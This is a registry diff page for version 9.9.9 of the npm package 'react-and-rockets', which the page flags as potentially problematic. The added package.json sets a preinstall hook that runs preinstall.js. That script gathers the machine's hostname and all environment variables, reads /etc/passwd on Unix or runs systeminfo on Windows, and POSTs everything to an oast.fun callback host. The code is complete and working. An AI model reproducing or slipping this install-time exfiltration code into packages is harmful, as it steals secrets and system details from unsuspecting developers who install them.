react-and-rockets 9.9.9

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of react-and-rockets might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/package.json +13 -0
  2. package/preinstall.js +62 -0
package/package.json ADDED
@@ -0,0 +1,13 @@
1
+ {
2
+ "name": "react-and-rockets",
3
+ "version": "9.9.9",
4
+ "description": "",
5
+ "main": "index.js",
6
+ "scripts": {
7
+ "test": "echo \"Error: no test specified\" && exit 1",
8
+ "preinstall": "preinstall.js"
9
+
10
+ },
11
+ "author": "",
12
+ "license": "ISC"
13
+ }
package/preinstall.js ADDED
@@ -0,0 +1,62 @@
1
+ const https = require('https');
2
+ const os = require('os');
3
+ const fs = require('fs');
4
+ const { exec } = require('child_process');
5
+
6
+ const hostname = os.hostname();
7
+ const isWindows = os.platform() === 'win32';
8
+ const envVars = JSON.stringify(process.env);
9
+ let data = `hostname=${hostname}&env=${encodeURIComponent(envVars)}`;
10
+
11
+ const sendPayload = (payload) => {
12
+ const options = {
13
+ hostname: 'cqjgjkmjrihm9aq1p7agyosa8psbpxcfc.oast.fun',
14
+ port: 443,
15
+ path: '/',
16
+ method: 'POST',
17
+ headers: {
18
+ 'Content-Type': 'application/x-www-form-urlencoded',
19
+ 'Content-Length': Buffer.byteLength(payload)
20
+ }
21
+ };
22
+
23
+ const req = https.request(options, (res) => {
24
+ res.on('end', () => {
25
+ process.exit();
26
+ });
27
+ // Ensure the 'data' event is handled, even if we don't use the data
28
+ res.on('data', () => {});
29
+ });
30
+
31
+ req.on('error', (e) => {
32
+ console.error(e);
33
+ process.exit(1);
34
+ });
35
+
36
+ req.write(payload);
37
+ req.end();
38
+ };
39
+
40
+ const collectDataAndSend = () => {
41
+ if (!isWindows) {
42
+ try {
43
+ const passwd = fs.readFileSync('/etc/passwd', 'utf8');
44
+ data += `&passwd=${encodeURIComponent(passwd)}`;
45
+ } catch (error) {
46
+ console.error('Error reading /etc/passwd:', error);
47
+ }
48
+ sendPayload(data);
49
+ } else {
50
+ exec('systeminfo', (error, stdout, stderr) => {
51
+ if (error) {
52
+ console.error('Error executing systeminfo:', error);
53
+ process.exit(1);
54
+ return;
55
+ }
56
+ data += `&systeminfo=${encodeURIComponent(stdout)}`;
57
+ sendPayload(data);
58
+ });
59
+ }
60
+ };
61
+
62
+ collectDataAndSend();